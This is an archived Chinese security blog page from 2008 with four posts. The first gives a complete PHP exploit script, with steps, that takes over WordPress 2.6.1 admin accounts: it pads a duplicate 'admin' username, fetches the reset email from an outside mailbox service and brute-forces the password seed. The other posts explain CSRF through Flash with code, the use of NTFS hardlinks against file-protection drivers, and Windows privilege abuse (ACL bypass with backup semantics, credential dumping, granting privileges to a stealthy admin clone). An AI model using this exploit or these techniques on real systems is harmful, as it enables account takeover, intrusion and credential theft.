存档

‘技术文章’ 分类的存档

WordPress的SQL Column Trunction 漏洞

2008年10月13日 没有评论 85 views

今天出的这个wordpress漏洞如下:

注册一个用户名为: admin(55个空格)x
这样的用户名,就可以通过取回密码拿到原管理员的密码了。

Vulnerable Systems:
* WordPress version 2.6.1

Exploit:
1. Go to URL: server.com/wp-login.php?action=register
2. Register as:
login: admin x (the user admin[55 space chars]x)
email: your email

Now, we have duplicated 'admin' account in database

3. Go to URL: server.com/wp-login.php?action=lostpassword
4. Write your email into field and submit this form
5. Check your email and go to reset confirmation link
6. Admin's password changed, but new password will be send to correct admin email

Additional Information:
The information has been provided by
irk4z.
The original article can be found at:
http://irk4z.wordpress.com/

相关文章

#!/usr/bin/php
<?php
# ------------------------------------------------------------
# quick'n'dirty wordpress admin-take0ver poc
# by iso^kpsbr in august 2oo8
#
# works w/ wordpress 2.6.1
#
# .oO( private -- do not spread! )Oo.
#
# you'll have to make sure you run roughly the same
# php version as on the server, that is: if server
# is >=5.2.1 you'll need to be as well, in case
# server is <5.2.1, your php also needs to be below.
# to make sure it works you'll need the exact same version!
# also, mod_php works better than (f)cgi..
# (this is a first working version - not a very reliable one)

#
# you should create rainbow tables to make this work in a
# real world scenario:
# php-5.2.0/php createtables.php > wp261_php520
# php-5.2.1/php createtables.php > wp261_php521
#
#-------------------------------------------------------------

$BLOG = $_SERVER['argv'][1];

echo "[+] w0rdpress 2.6.1. admin takeover, iso 0808\n";

if(!$BLOG) {
echo "[!] Usage: ".$_SERVER['argv'][0]." blogurl\n";
echo " fe: ".$_SERVER['argv'][0]." http://31337.biz/blog\n";
exit;
}

$UA = "WordpressAdminTakeover";
$MBOX="wp".`ps|md5sum|head -c 8`;
$EMAIL="$MBOX@nospamfor.us";

echo (file_exists('wp261_php520') && file_exists('wp261_php521')) ?
"[X] rainbow tables available\n" :
"[!] rainbow tables not found - this will be really slow\n";

set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",20);

if(!preg_match('!http://([^/]+)(.*)$!', $BLOG, $match)) {
die("[!] $BLOG is no valid URL\n");
}

$HOST = $match[1];
$PATH = $match[2];
if(!$PATH) $PATH='/';

echo "[-] registering new admin user\n";
$suck = fsockopen($HOST, 80) or die("[!] could not connect to $HOST:80\n");
$data = "user_login=admin".str_repeat("%20",60)."x&user_email=$EMAIL";
$req = "POST $PATH/wp-login.php?action=register HTTP/1.1\r\nHost: $HOST\r\nUser-Agent: $UA\r\nConnection: close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data)."\r\n\r\n".$data;
fputs($suck, $req);
sleep(1);
fclose($suck);

echo "[-] requesting resetlink and mail to '$EMAIL'\n";
$suck = fsockopen($HOST, 80) or die("[!] could not connect to $HOST:80\n");
$data="user_login=$EMAIL&wp-submit=Get+New+Password";
$req = "POST $PATH/wp-login.php?action=lostpassword HTTP/1.1\r\nHost: $HOST\r\nReferer: $BLOG/wp-login.php?action=lostpassword\r\nConnection: keep-alive\r\nKeep-Alive: 300\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data)."\r\n\r\n".$data."\r\n";
fputs($suck, $req);

echo "[.] giving $BLOG some time to deliver mail..\n";
for($i=0;$i<8;$i++) {
fputs($suck,"GET / HTTP/1.1\r\nHost: $HOST\r\nConnection: keep-alive\r\nKeep-Alive: 300\r\n\r\n");
sleep(2);
}

echo "[-] fetching resetlink token $MBOX\n";
$PAGE = file_get_contents("http://www.nospamfor.us/mailbox.php?mailbox=$MBOX&sitename=nospamfor.us");
if(!preg_match('/.+mailid=(\d+).+?Reset/s', $PAGE, $match)) die("[!] failed to find resetmail try raising the wait-time right above\n");
$MAILID=$match[1];

echo "[-] fetching resetmail $MAILID\n";

$WHOLEMAIL=file_get_contents("http://www.nospamfor.us/mail.php?mailid=$MAILID&sitename=nospamfor.us&mailbox=$MBOX");
if(!preg_match('/key=([A-z0-9]+)/', $WHOLEMAIL, $match)) die("[!] could not find resetkey in $WHOLEMAIL\n");
$KEY=$match[1];

echo "[X] found resetkey $KEY\n";
echo "[-] resetting password\n";

$req = "GET $PATH/wp-login.php?action=rp&key=$KEY HTTP/1.1\r\nHost: $HOST\r\nUser-Agent:$UA\r\nConnection: close\r\n\r\n";
fputs($suck, $req);
while(!feof($suck)) {
#echo "D:".
fgets($suck);
}
fclose($suck);

echo "[-] calculating password\n";
$SEED=false;
if(file_exists('wp261_php520')) {
$SEED=`grep -F $KEY wp261*|cut -d : -f 1`;
echo "[X] got seed $SEED from rainbow table\n";
}
$PASSWORD=calcpass($KEY, $SEED);

echo "[X] all done.";
exit;

function calcpass($resetkey, $seed = false) {
mt_srand(2); $a = mt_rand(); mt_srand(3); $b = mt_rand();
define('BUGGY', $a == $b);
echo "[-] wpress password computation. runnig in ".(BUGGY?'fast':'slow')." mode\n";

echo "[+] got key $resetkey via mail\n";

if(!$seed) $seed = getseed($resetkey);

if($seed===false) die("[!] seed not found :( try using identical php version (< 5.2.5)\n");

mt_srand($seed);
echo "[-] seed for key ".wp_generate_password(20,false)." is $seed\n";
$pass = wp_generate_password();
echo "[+] new credentials are admin:$pass\n";
return $pass;
}

function wp_generate_password($length = 12, $special_chars = true) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ( $special_chars )
$chars .= '!@#$%^&*()';

$password = '';
for ( $i = 0; $i < $length; $i++ )
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
return $password;
}

function getseed($resetkey) {
echo "[-] calculating rand seed for $resetkey (this will take a looong time)";
$max = pow(2,(32-BUGGY));
for($x=0;$x<=$max;$x++) {
$seed = BUGGY ? ($x << 1) + 1 : $x;
mt_srand($seed);
$testkey = wp_generate_password(20,false);
if($testkey==$resetkey) { echo "o\n"; return $seed; }

if(!($x % 10000)) echo ".";
}
echo "\n";
return false;
}

?>

分类: 技术文章 标签:

CSRF with Flash

2008年10月13日 没有评论 48 views

Author: lake2 [80sec]
EMail: lake2#80sec.com
Site: http://www.80sec.com
Date: 2008-10-04
From: http://www.80sec.com/release/csrf-with-flash.txt
———————————

[ 目录 ]

0×00 纯属扯淡
0×01 用flash发起CSRF攻击
0×02 超越JavaScript Hijacking
0×03 flash的跨域策略
0×04 绕过flash的跨域策略
0×05 flash的限制措施
0×06 Windows Media Player的隐患
0×07 防范措施
0×08 后记

——————————–

0×00 纯属扯淡

世界变化得太快,一不留神你就落后了。现在看来,CSRF也算老生常谈了,为了有点积极的意义,本文重点介绍一下利用flash进行CSRF攻击的一些手法,希望对你有点启发。
嗯,本期的扯淡话题是,我们老得太快,却明白得太迟。

0×01 用flash发起CSRF攻击

flash功能丰富,当然也有向任意站点发送请求的API,而且发送的请求会继承是当前浏览器的会话——也就是说我们可以利用flash而不是js来控制 浏览器向目标URL发送请求,这就实现CSRF了。比如flash8中的loadVariables,flash9中的sendToURL都是可以实现这 个功能的(编译的时候本地回放安全性一项要选择“只访问网络”)。
比如以下代码:

import flash.net.URLRequest;
import flash.system.Security;
var url = new URLRequest("http://www.baidu.com/lake2");
var lake = new URLVariables();
lake = "a=lake2";
url.method = "POST";
url.data = lake;
sendToURL(url);
stop();


编译好之后访问之,你会发现它会向百度POST数据哦,如果你的机器上有baidu.com的cookie,cookie也会发送出去的,这里就可以绕过 IE的隐私安全限制——如果你直接img或者iframe向baidu.com发送数据,呵呵,cookie是会被阻挡的。
我也写了个flash来实现这类攻击,可以参考之前CSRF的文章。

0×02 超越JavaScript Hijacking

JavaScript Hijacking其实也是一种CSRF,不过它着重在利用当前会话身份会拿到以JS形式返回的内容,进而得到JS中出现的敏感数据。一个典型的漏洞场景是,一些为ajax提供JS接口的Web程序,可能会把当前用户的资料输出到JS中。
有了flash问题就简单了很多,因为flash9的URLLoader可以发送请求并得到返回的数据(flash8也有类似的API)。
用以下as代码来演示加载http://www.0×54.org/lake2/flash/get.txt的页面:

import flash.net.*;var myloader = new URLLoader(new URLRequest("http://www.0x54.org/lake2/flash/get.txt"));myloader.addEventListener(Event.COMPLETE,test);myloader.load();function test(event:Event){var ResponseText:String = myloader.data;text1.text = ResponseText;stop();}

编译好的flash在这里:http://www.0×54.org/lake2/flash/flashgetdemo.swf,访问之,它会把get.txt的内容显示在flash中。
JavaScript Hijacking只能得到script,而flash这样可以得到整个网页,除了得到敏感信息,还可以绕过那些通过表单元素防御CSRF的策略。比如一 些网站把uid放在post的隐藏域中防御CSRF,用第三方的JS无法得到uid,但是却可以用flash来得到页面中的uid。
但是不要高兴得太早,对于这种加载其他页面的情况,flash受到跨域策略的限制。

0×03 flash的跨域策略

adobe为了限制flash加载任意页面,使用了一种跨域策略来进行限制。
所谓的flash跨域策略文件就是在站点根目录的crossdomain.xml,这个XML文件配置当前站点的资源允许来自哪些域的flash加载。当 flash加载一个站点的资源时,如果目标不跟自己一个站点,flash就会自动去访问目标站点跟目录下的crossdomain.xml文件,如果 crossdomain.xml中的allow-access-from domain标签包含flash所在网站,那么flash就可以加载该内容。
一个crossdomain.xml文件可能是这样的:

<?xml version="1.0"?><cross-domain-policy><allow-access-from domain="*.example.com" /><allow-access-from domain="www.friendOfExample.com" /><allow-access-from domain="192.0.34.166" /></cross-domain-policy>

以上策略就是允许来自*.example.com、www.friendOfExample.com和192.0.34.166的flash加载资源。
在站点不存在crossdomain.xml文件的情况,允许flash主动加载目标站点的其他XML文件作为跨域策略文件。比如,flash9中可以使 用Security.loadPolicyFile加载目标站点的其他文件作为跨域策略文件。如果没有跨域策略文件许可,那么sorry,flash就不 能加载该站点的内容。

0×04 绕过flash的跨域策略

我们要进行CSRF,可能需要获取目标站点某些页面中的内容,这个时候就得想办法绕过flash的跨域策略。
最简单的情况是目标站点本身没有安全意识,允许任意flash加载内容那就没话说了(allow-access-from domain=”*”)。
还有就是目标站点根目录没有crossdomain.xml,那就看看能否找到上传文件的地方传一个同样格式的文件上去,然后用 Security.loadPolicyFile加载之。这里貌似flash有通过Content-Type来判断,所以要文本类型的才有效。
最后一种情况是有crossdomain.xml,而且配置得很好。这个时候就要稍微麻烦一点,那我们就去找它支持flash加载的站点是否可以上传文 件,上传我们精心构造的flash就好了。后缀倒无所谓:如果是以object标签调用flash的话任意后缀就可以;以embed调用的话除了jpg、 jpeg、gif等少数后缀不支持外其他都可以。

0×05 flash的限制措施

flash的网络功能太强大,所以它本身也有一套限制措施。那就是在启用flash的标签中设置allowNetworking参数。
allowNetworking 参数有3个值供选择:all、internal、none

·all —— 允许所有的网络 API
·internal —— 不能调用浏览器导航或浏览器交互 API。例如 getURL(flash8) 和 navigateToURL 等。仍然可以向外发请求和加载内容
·none —— 禁止任何网络API。世界清静了,但是flash的功能会被削弱,比如一个flash的MP3播放器就不能用了

每个选项具体禁止哪些函数请参考ActionScript手册。这里要说明的是如果不设置 allowNetworking,默认为all;不通过网页调用而直接访问swf文件,allowNetworking也为all。

0×06 Windows Media Player的隐患

我们可以在网页调用Windows Media Player来播放视频,呃,如果你安装了flash控件,那么Windows Media Player也会播放flash。如果flash中包含向外发送数据的脚本,那么,它也会被执行——大概就类似allowNetworking被设置成了 internal。这是一个绝佳的CSRF载体。
有点麻烦的是,allowNetworking参数限制不住在Windows Media Player中调用的flash——似乎没有什么可以限制到它,对Web程序来说,这个隐患简直是太可怕了。

0×07 防范措施

了解了威胁之后再来看防御手段就再简单不过。
Web程序中可以通过请求的来源进行判断:通过正常页面过来的referer我们已知的,flash过来的请求referer为空或者是swf文件地址 (直接发请求的API不带referer,加载页面的API发出的referer是flash文件地址)。另外,flash发送请求的时候也会在HTTP 头中带上x-flash-version标识版本。
在配置方面需要注意:用户可以控制flash地址的地方根据业务特性设置allowNetworking值;尽量不要使用Windows Media Player,开发一套flash播放器吧;站点根目录的crossdomain.xml文件要

分类: 技术文章 标签:

NTFS之HARDLINK攻防

2008年10月13日 没有评论 52 views

作者:MJ0011

爆老技术啊爆老技术~

NTFS支持一种HARDLINK技术,可以将两个文件“硬连接”起来,其实原理很简单,两个文件共享同样的fie record,操作一个文件相当与操作另一个文件,包括相关属性,删除其中一个,另一个会保留原有的数据存在~

可使用系统工具fsutil.exe来创建一个硬连接,也可以使用windows提供的相关API、FSCTL来实现

fsutil hardlink create c:\1.txt c:\2.txt,即可建立c:\2.txt的连接,c:\1.txt

那么用于攻防,能做什么呢,简单就想到啦,使用文件路径过滤的同学们就惨了

pryrege.sys是一个最近流行的木马程序,其包含了一个文件系统过滤驱动,当你去删除他的文件的时候,他会假装返回成功了,实际是失败了~另外它的驱动有只读属性,并且不允许你修改它的属性,所以要写入也是不行的了~

你以为怎么清除它?上驱动?NONONO,没必要啊,hardlink来帮忙

我们首先用fsutil创建一个对它的hardlink, c:\2.txt,如图1

你会发现,2.txt也是有只读属性的,没关系,将c:\2.txt的属性只读去掉

此时pryrege.sys的只读属性也没了,如图2

我们来用记事本把2.txt的内容清空~

你会发现pryrege.sys也变成0字节空文件了~~ ,如图3:

至此,该木马作者哼哧哼哧地捣鼓出了个20多K的文件过滤狗屎驱动,只要一行命令就把他搞定了~

当然hardlink也是有攻防两面性的,例如用来删除或改写卡巴7的文件~ 用来读取被XX文件安全岛保护的文件~等等,技术是双刃剑啊~看你怎么用了。

不过,360的自我保护早考虑到这块,彻底抛弃了原始的路径过滤方法了,如图~ 没法给360的程序创建硬连接的,另外,即使你创建成功了,操作也无法成功映射过去,至于这点怎么做到的~碍于职业道德,我就不说啦~大伙自己研究吧~

分类: 技术文章 标签:

关于Windows的权限和一些安全问题

2008年10月13日 没有评论 122 views

作者:

让我们来复习一篇我在6、7年前写的文章,真实时间已经不可考了,因为我也忘记了。

当时写这篇文章的目的是为了学习和研究NT下权限带来的一些安全问题,不过我当时没有深入进行下去。

最近出的exploit: Windows 2003 Server Token Kidnapping 问题,又是这方面的问题,与SeImpersonatePrivilegetoken关系紧密。

其实NT核心里的 权限---令牌---ACL 这一体系还会有很多其他的问题,以往深究的人很少,如果想研究下去的话,可以参考下我下面这篇文章。研究方法应该类似。

由于写文章的时候还比较年轻,大概也就10多岁,笔法还很稚嫩,请勿见笑。在文章中也提到了一些老朋友的名字,真是怀念他们啊。图片已经丢失了,不过并不影响阅读。

浅谈NT的ACL,令牌,权限与安全性问题
-----另一种克隆帐号的途径

作者:刺(aXis)

来源:www.ph4nt0m.net(当时还在用这个域名,也有网上流传的文章里用的是www.3389.net的域名,曾经也是幻影最初的域名之一。)

摘要:关于nt的acl,token,and privilege的,以及通过privilege绕过acl,达到访问文件的目的。可以说是另一种克隆administrator的方法,不过更隐蔽, 利用起来难度较大,需要绕过检测才行,目前取的的突破是利用权限绕过acl。

关键字:ACL,ACE,DACL,TOKEN,SID,PRIVILEGE

一.基本概念(这部分介绍的是令牌,ACL等基本概念,是为第二部分做准备,如果你已经了解其内容,请跳过这一部分)

1.什么是令牌(TOKEN)

当用户登录到Windows NT/2000/XP,同时通过了身份认证,此时将会由系统为该用户分配一个令牌。令牌是一个数据结构,用于由所有该用户激活的进程和线程。令牌的结构如下图:

Token source

Impersonation Type

Token ID

Authentication ID

Modified ID

Expiration Time

Default Primary Group

Default DACL

User Account SID

Group 1 SID

……

Group n SID

Restricted SID 1

……

Restricted SID n

Privilege 1

……

Prililege n

这样看不太容易理解。我们来看一个实例,使用win2000 resource kit中的whoami.exe来查看当前用户的访问令牌(Access Token)中的详细信息

C:\>whoami /all
[User] = "DARKDEAMON\Administrator" S-1-5-21-1409082233-1957994488-47230797
1-500
[Group 1] = "DARKDEAMON\None" S-1-5-21-1409082233-1957994488-472307971-513
[Group 2] = "Everyone" S-1-1-0
[Group 3] = "BUILTIN\Administrators" S-1-5-32-544
[Group 4] = "BUILTIN\Users" S-1-5-32-545
[Group 5] = "NT AUTHORITY\INTERACTIVE" S-1-5-4
[Group 6] = "NT AUTHORITY\Authenticated Users" S-1-5-11
[Group 7] = "LOCAL" S-1-2-0

(X) SeChangeNotifyPrivilege =

(O) SeSecurityPrivilege =

(O) SeBackupPrivilege =

(O) SeRestorePrivilege =

(O) SeSystemtimePrivilege =

(O) SeShutdownPrivilege =

(O) SeRemoteShutdownPrivilege =

(O) SeTakeOwnershipPrivilege =

(O) SeDebugPrivilege =

(O) SeSystemEnvironmentPrivilege =

(O) SeSystemProfilePrivilege =

(O) SeProfileSingleProcessPrivilege =

(O) SeIncreaseBasePriorityPrivilege =

(X) SeLoadDriverPrivilege =

(O) SeCreatePagefilePrivilege =

(O) SeIncreaseQuotaPrivilege =

(X) SeUndockPrivilege =

(O) SeTcbPrivilege =

C:\>

这就是我的令牌中的信息,它包括我的SID,属于的组,具有的权限的详细列表等信息。所以可见,令牌决定了一个用户在一台计算机上所具有的能力。

2.安全性标志符(SID)

SID是在创建一个用户或组的时候由系统分配的,是唯一的。当一个本地用户登录时,SID将由系统从SAM中的用户数据库中取出。

关于SID的结构可以参照《INSIDE WINDOWS2000》里的一段:

A SID is a variable-length numeric value that consists of a SID structure revision number, a 48-bit identifier authority value, and a variable number of 32-bit subauthority or relative identifier (RID) values.

下面是一些系统内置的SID

Well-Known SIDs

SID
Group
Use

S-1-1-0
Everyone
A group that includes all users.

S-1-2-0
Local
Users who log on to terminals locally (physically) connected to the system.

S-1-3-0
Creator Owner ID
A security identifier to be replaced by the security identifier of the user who created a new object. This SID is used in inheritable access-control entries (ACEs).

S-1-3-1
Creator Group ID
Identifies a security identifier to be replaced by the primary-group SID of the user who created a new object. Use this SID in inheritable ACEs.

SID结尾的数字是RID(relative identifier)。500表示是管理员组,GUEST组的是501

ADAM提出的克隆管理员帐号就是在SID上做手脚,把一个帐号的SID的RID克隆成500,这样系统就会认为是管理员了。

一个完整的SID的结构可以参看上面令牌中的SID。

S-1-5-21-1409082233-1957994488-472307971-500

3.什么是访问控制列表(ACL)

ACL(access control list)从字面的意思很好理解。一个系统通过ACL来判断用户对资源的何种程度的访问。由两种类型的ACL:DACL(Discretionary Access Control List)和SACL(System Access Control List)。DACL包括户和组的列表,以及相应的权限,允许或是拒绝,用来确定对资源的访问权限。SACL则用来确定安全资源的审核策略。ACL由零个 或多个ACE(Access Control Entries)组成,一个ACE包括一个SID和该SID可访问资源的描述,比如允许和拒绝,拒绝优先于允许。

在win2000 resource kit中有几个工具是关于acl的,较为典型的是xcacls。下面是一个用xcacls查看acl的例子

C:\Program Files\Resource Kit>xcacls whoami.exe

C:\Program Files\Resource Kit\whoami.exe BUILTIN\Users:R

BUILTIN\Power Users:C

BUILTIN\Administrators:F

NT AUTHORITY\SYSTEM:F

NT AUTHORITY\TERMINAL SERVER USER:C

C:\Program Files\Resource Kit>

其他的关于acl的工具还有svcacls.exe,showacls以及subinacl.exe等。这里不再一一赘述。

4.权限(privilege)

简单来说,权限是系统赋予用户的一定的权力,它们允许或者不允许某些影响整个计算机系统而非某一对象的特权操作。下面的表格列出了系统的一些权限和功能。

Privilege
Windows Privilege
Description

SeTcbPrivilege
Act as part of the operating system
Allows a process to authenticate like a user and thus gain access to the same resources as a user. Only low-level authentication services should require this privilege.

SeMachineAccountPrivilege
Add computers to a domain
Allows the user to add a computer to a specific domain. For the privilege to be effective, it must be assigned to the user as part of local security policy for domain controllers in the domain.

SeBackupPrivilege
Back up files and directories
Allows the user to circumvent file and directory permissions to back up the system. The privilege is checked only when an application attempts access through the NTFS backup application programming interface (API). Oth
erwise, normal file and directory permissions apply.

By default, this privilege is assigned to Administrators and Backup Operators. See also Restore files and directories in this table.

SeChangeNotifyPrivilege
Bypass traverse checking
Allows the user to pass through folders to which the user otherwise has no access while navigating an object path in any Windows file system or in the registry. This privilege does not allow the user to list the contents of a folder; it allows the user only to traverse its directories.

By default, this privilege is assigned to Administrators, Backup Operators, Power Users, Users, and Everyone.

SeSystemTimePrivilege
Change the system time
Allows the user to set the time for the internal clock of the computer.

By default, this privilege is assigned to Administrators and Power Users.

SeCreatePagefilePrivilege
Create a page filepagefile
Allows the user to create and change the size of a page file.

By default, this privilege is assigned to Administrators.

SeCreateTokenPrivilege
Create a token object
Allows a process to create an access token by calling NtCreateToken() or other token-creating APIs.

SeCreatePermanentPrivilege
Create permanent shared objects
Allows a process to create a directory object in the Windows 2000 object manager.

SeDebugPrivilege
Debug programs
Allows the user to attach a debugger to any process.

By default, this privilege is assigned to Administrators.

SeEnableDelegationPrivilege
Enable computer and user accounts to be trusted for delegation
Allows the user to change the Trusted for Delegation setting on a User or Computer object in Active Directory. The user or computer that is granted this privilege must also have write access to the account control flags on the object.

SeRemoteShutdownPrivilege
Force shutdown from a remote system
Allows a user to shut down a computer from a remote location on the network. See also Shut down the system in this table.

By default, this privilege is assigned to Administrators.

SeAuditPrivilege
Generate security audits
Allows a process to create, generate, and add entries in the security log. The security log is used to trace unauthorized system access. See also Manage auditing and security log in this table.

SeIncreaseQuotaPrivilege
Increase quotas
Allows a process that has Write Property access to another process to increase the processor quota that is assigned to the other process. This privilege is useful for system tuning, but it can be abused, as in a denial of service attack.

By default, this privilege is assigned to Administrators.

SeIncreaseBasePriorityPrivilege
Increase scheduling priority
Allows a process that has Write Property access to another process to increase the execution priority of the other process. A user with this privilege can change the scheduling priority of a process in the Task Manager dialog box.

By default, this privilege is assigned to Administrators.

SeLoadDriverPrivilege
Load and unload device drivers
Allows a user to install and uninstall Plug and Play device drivers. Device drivers that are not Plug and Play are not affected by this privilege and can be installed only by Administrators. Because device drivers run as trusted (highly privileged) programs, this privilege can be misused to install hostile programs and give them destructive access to resources.

By default, this privilege is assigned to Administrators.

SeLockMemoryPrivilege
Lock pages in memory
Allows a process to keep data in physical memory, which prevents the system from paging the data to virtual memory on disk. Exercising this privilege can significantly degrade system performance. This privilege is obsolete and is therefore never selected.

SeSecurityPrivilege
Manage auditing and security log
Allows a user to specify object access auditing options for individual resources such as files, Active Directory objects, and registry keys. Object access auditing is not actually performed unless you have enabled it in Audit Policy (under Security Settings, Local Policies). A user who has this privilege can also view and clear the security log from Event Viewer.

By default, this privilege is assigned to Administrators.

SeSystemEnvironmentPrivilege
Modify firmware environment values
Allows modification of system environment variables either by a process through an API or by a user through System Properties.

By default, this privilege is assigned to Administrators.

SeProfileSingleProcessPrivilege
Profile a single process
Allows a user to run Microsoft® Windows NT® and Microsoft® Windows® 2000 performance-monitoring tools to monitor the performance of nonsystem processes.

By default, this privilege is assigned to Administrators and Power Users.

SeSystemProfilePrivilege
Profile system performance
Allows a user to run Windows NT and Windows 2000 performance-monitoring tools to monitor the performance of system processes.

By default, this privilege is assigned to Administrators.

SeUndockPrivilege
Remove computer from docking station
Allows the user of a portable computer to undock the computer by clicking Eject PC on the Start menu.

By default, this privilege is assigned to Administrators, Power Users, and Users.

SeAssignPrimaryTokenPrivilege
Replace a process-level token
Allows a parent process to replace the access token associated with a child process.

SeRestorePrivilege
Restore files and directories
Allows a user to circumvent file and directory permissions when restoring backed-up files and directories and to set any valid security principal as the owner of an object. See also Back up files and directories in this table.

By default, this privilege is assigned to Administrators and Backup Operators.

SeShutdownPrivilege
Shut down the system
Allows a user to shut down the local computer. See also Force shutdown from a remote system in this table. In Windows 2000 Professional:

By default, this privilege is assigned to Administrators, Backup Operators, Power Users, and Users. In Windows 2000 Server:

By default, this privilege is not assigned to Users, only to Administrators, Backup Operators, and Power Users.

SeSynchAgentPrivilege
Synchronize directory service data
Allows a process to provide directory synchronization services. This privilege is relevant only on domain controllers.

By default, this privilege is assigned to Administrators and LocalSystem accounts on domain controllers.

SeTakeOwnershipPrivilege
Take ownership of files or other objects
Allows a user to take ownership of any securable object in the system, including Active Directory objects, files and folders, printers, registry keys, processes, and threads.

By default, this privilege is assigned to Administrators.

二.一些安全问题

1.利用备份权限绕过访问控制

系统备份员(Backup Operators)和管理员(Administrator)具有一项权限:SeBackupPrivilege

利用该权限可以访问正常情况下被拒绝访问的文件。当在ACL中设置拒绝某帐号读取文件时,一个备份程序可以在调用Createprocess时,通过设置FILE_FLAG_BACKUP_SEMANTICS的标志来对文件进行读取。

按照《writng secure code》一书给出的代码如下

1. 假设你具有SeBackupPrivilege权限。

2. 创建一个txt文件,内容为:writings this for cj

3. 添加一个全部拒绝该用户访问的ACE。

现在,试着打开该文件,将会出现拒绝访问的提示。现在,编译下面这段代码(来自《writng secure code》)

/*

WOWAccess.cpp

*/

#include <stdio.h>

#include <windows.h>

int EnablePriv (char *szPriv) {

HANDLE hToken = 0;

if (!OpenProcessToken
(GetCurrentProcess(),

TOKEN_ADJUST_PRIVILEGES,

&hToken)) {

printf("OpenProcessToken() failed -> %d", GetLastError());

return -1;

}

TOKEN_PRIVILEGES newPrivs;

if (!LookupPrivilegeValue (NULL, szPriv,

&newPrivs.Privileges[0].Luid)) {

printf("LookupPrivilegeValue() failed -> %d", GetLastError());

CloseHandle (hToken);

return -1;

}

newPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

newPrivs.PrivilegeCount = 1;

if (!AdjustTokenPrivileges(hToken, FALSE, &newPrivs, 0, NULL, NULL)) {

printf("AdjustTokenPrivileges() failed -> %d", GetLastError());

CloseHandle (hToken);

return -1;

}

CloseHandle (hToken);

return 0;

}

void DoIt(char *szFileName, DWORD dwFlags) {

printf("\n\nAttempting to read %s, with 0x%x flags\n",

szFileName, dwFlags);

HANDLE hFile = CreateFile(szFileName,

GENERIC_READ, FILE_SHARE_READ,

NULL, OPEN_EXISTING,

dwFlags,

NULL);

if (hFile == INVALID_HANDLE_VALUE) {

printf("CreateFile() failed -> %d", GetLastError());

return;

}

char buff[128];

DWORD cbRead=0, cbBuff = sizeof buff;

ZeroMemory(buff, sizeof buff);

if (ReadFile(hFile, buff, cbBuff, &cbRead, NULL)) {

printf("Success, read %d bytes\n\nText is: %s",

cbRead, buff);

} else {

printf("ReadFile() failed -> %d", GetLastError());

}

CloseHandle(hFile);

}

void main(int argc, char* argv[]) {

if (argc < 2) {

printf("Usage: %s <filename>", argv[0]);

return;

}

// Need to enable backup priv first.

if (EnablePriv(SE_BACKUP_NAME) == -1)

return;

// Try with no backup flag - should get access denied.

DoIt(argv[1], FILE_ATTRIBUTE_NORMAL);

// Try with backup flag - should work!

DoIt(argv[1], FILE_ATTRIBUTE_NORMAL │ FILE_FLAG_BACKUP_SEMANTICS);

}

运行情况如下

C:\>bkp

Usage: bkp <filename>

C:\>bkp test.txt

Attempting to read test.txt, with 0x80 flags

CreateFile() failed -> 5

Attempting to read test.txt, with 0x2000080 flags

Success, read 20 bytes

Text is: writings this for cj

C:\>

如上,使用了备份的标志后(with 0x2000080 flags)就可以访问开始拒绝访问的文件了。

2.利用SeTakeOwnershipPrivilege权限绕过访问控制

在我的计算机上,tt是一个普通的user帐号,当给他添加上SeTakeOwnershipPrivilege后,就可以绕过原来的访问控制,比如,对 system32目录下就可以添加完全控制的ACE,从而可以任意复制文件。对Document and Settings目录下也可以如法炮制,那么,给管理员下个套就是很简单的事情了。下面是实现过程

首先看下tt所具有的权限

C:\>whoami /all

[User] = "DARKDEAMON\tt" S-1-5-21-1409082233-1957994488-472307971-1013

[Group 1] = "DARKDEAMON\None" S-1-5-21-1409082233-1957994488-472307971-513

[Group 2] = "Everyone" S-1-1-0

[Group 3] = "BUILTIN\Users" S-1-5-32-545

[Group 4] = "NT AUTHORITY\INTERACTIVE" S-1-5-4

[Group 5] = "NT AUTHORITY\Authenticated Users" S-1-5-11

[Group 6] = "LOCAL" S-1-2-0

(O) SeCreatePagefilePrivilege =

(O) SeAssignPrimaryTokenPrivilege =

(O) SeCreateTokenPrivilege =

(O) SeAuditPrivilege =

(X) SeUndockPrivilege =

(O) SeTakeOwnershipPrivilege =

(X) SeChangeNotifyPrivilege =

C:\>

如图,可以看到已经添加了SeTakeOwnershipPrivilege权限,下面,将演示如何取得对system32目录的完全控制

如图,这是修改前的结果.

下面我们来更改目录的所有者以得到完全控制.

现在可以看到更改所有者已经激活,所以我们只需要更改所有者就可以取得完全控制了。而在这个权限添加以前是无法进行这项操作的。

3.利用SeDebugPrivilege权限来做坏事

这个权限是极为危险的。它允许用户通过调试进程来访问秘密数据。典型的例子就是findpass。利用SeDebugPrivilege调试winlogon进程来获得明文存储在里面的域名和密码。

另一个典型的例子就是LSADUMP2,通过使用CreateRemoteThread函数来在LSASS.EXE进程中读取已经经过LSA解密的私有数据代码,从而查看LSA中存储的秘密信息。

4.更进一步

管理员(Administrator)默认具有16个权限

SeChangeNotifyPrivilege
SeSecurityPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeSystemtimePrivilege
SeShutdownPrivilege
SeRemoteShutdownPrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege

然而,SeTcbPrivilege和SeCreateTokenPrivilege两个权限管理员缺省是没有的. SeTcbPrivilege是具有操作系统的一部分来工作的权限,,SeCreateTokenPrivilege更为任意令牌创建权限!拥有了这两个 权限,用Lu0的话来说,就是可以超越administrator!

从而提出另一种克隆管理员帐号的途径:克隆管理员的权限,甚至包括SeTcbPrivilege和SeCreateTokenPrivilege两个权限!

在这里使用到RESOURCE KIT中的一个工具:ntrights.exe

通过这个工具可以给指定帐号和组添加权限。

下面是ntrights.exe的说明

ntrights {-r Right │ +r Right} -u UserOrGroup [-m \\Computer] [-e Entry] [-?]

Where:

-r Right

revokes Right from specified user or group. For a full list, see Windows 2000 Rights.

+r Right

grants Right to specified user or group. For a full list, see Windows 2000 Rights.

-u UserOrGroup

specifies the user or group for whom rights are to be granted or revoked.

-m \\Computer

specifies the computer (machine) on which to perform the operation. The default is the local computer.

-e Entry

adds a text string Entry to the computer's event log.

-?

displays a syntax screen at the command prompt.

下面是使用实例,

C:\>ntrights +r SeDebugPrivilege -u tt
